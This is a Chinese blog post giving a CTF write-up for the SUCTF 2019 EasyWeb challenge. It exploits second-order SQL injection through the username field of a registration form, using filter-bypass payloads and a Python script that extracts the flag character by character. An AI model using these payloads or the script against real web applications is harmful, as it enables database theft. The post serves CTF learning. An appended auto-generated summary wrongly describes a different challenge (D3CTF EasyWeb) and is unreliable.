[SUCTF 2019]EasyWeb 二次注入

[SUCTF 2019]EasyWeb  二次注入

 打开界面一般有login.php都会有一个registe.php所以我们试一下

发现真的有,然后注册 邮箱 账号 密码,然后登录地时候只有邮箱和密码

 这个9就是我们输入账号的值,很难不让人想到二次注入

 注册发现有过滤,跑一下字典

 发现过滤了information,逗号和单引号,用单引号闭合,看一下是否存在sql注入

x' and '1'='2 账号输入,如果报错说明存在sql注入,回显零所以是字符型的sql注入

 试了一下,' ascii(substr(database() from 1 to 1)根本不行,然后转移思路

 如果我们用 '0'+ascii(database())+'0' 就会输出第一个字符的ascii值,加0仍然是

或者进行二次hex加密,如果只进行一次hex加密,flag里面的字符和0相加会存在截断的问题,

二次hex后回出现精度的问题,这时候需要substr

 

所以我们可以先进行,爆破数据库名 

 

解密hex,是web数据库,因为information被限制

0'+ select ascii(substr(group_concat(table_name) from 1 for 1)) from sys.schema_auto_increment_columns where table_schema=database() +'0

可是长度呗限制了 ,看了看wp说是直接猜表名是flag,呃呃呃

 况且这些替换information语句是php5.6+才可以使用,所以

如果这么理解,数据库是web,表是flag也不过分

import requests
import time
import re
url = ' http://65d38539-8e9c-447f-b93a-1fb898aba320.node4.buuoj.cn:81/'
flag = ''
url_login = url + 'login.php'
url_register = url + 'register.php'
url_index = url + 'index.php'

for i in range(100):
    time.sleep(0.2)
    data_reg = {"email": "8888{}@qq.com".format(i),
                "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password": "123"}
    data_log = {"email": "8888{}@qq.com".format(i), "password": "123"}

    r1 = requests.post(url_register, data=data_reg)
    r2 = requests.post(url_login, data=data_log)
    # r3=requests.get(url_index)

    res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r2.text)
    res1 = re.search(r'\d+', res.group())
    flag = flag + chr(int(res1.group()))
    print(flag)

\s*是空格,然后\d*所有的字符,\d第一个字符

相当于group的输出,是把空格都省略掉了,应该只剩下一个 119这样的ascii数字,然后\d+就会读取我们的第一个字符就ok,邮箱要一直换,不然就会一直显示第一次注册邮箱的结果了

    res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r2.text)
 

这一行是利用re库中的search方法进行搜索

要和我们前端的一致,所以为这样 

r前面的是为了处理后面的转义字符串的

获得flag 

 总结:

学到了: select '0'+ascii(substr(database(),1,1))+'0' 会输入第一个字符的ascii

以及

select '0'+ hex(database())+'0'也会获得,不过这样可能会被阶段

select '0'+subst(hex(hex(database() )),10,20) +'0'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]根据引用\[1\]中的描述,当将Smarty嵌入到CI框架中时,可能使用的是一个兼容低版本Smarty的引擎,而不是最新的Smarty引擎。这可能是因为参考的文章比较旧,导致整合时选择了兼容低版本的引擎。 \[2\]引用\[2\]中提到,CI框架的类是按需加载的,而不是自动加载的。这导致在全局搜索__destruct方法时可能会出现很多结果,但实际上无法使用。这可能是导致pop链不好找的一个重要原因。 \[3\]引用\[3\]中提到,在phpinfo中发现了一个flag,这表明还有另一种方法可以获取flag,即通过get_the_flag方法。然而,get_the_flag方法有两个过滤条件,一个是不允许出现"<?",另一个是对文件头字节进行过滤。作者提到可以传递一个文本文件,内容进行base64编码,并加上图片头字节,然后再传递一个.htaccess文件进行解码。 综上所述,\[D3CTF 2019\]EasyWeb可能涉及到使用兼容低版本的Smarty引擎、按需加载的类导致pop链难以找到,以及通过绕过过滤条件来获取flag的方法。 #### 引用[.reference_title] - *1* *2* [d3ctf easyweb题解](https://blog.csdn.net/weixin_42474164/article/details/116281650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SUCTF 2019]EasyWeb](https://blog.csdn.net/shinygod/article/details/124045024)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值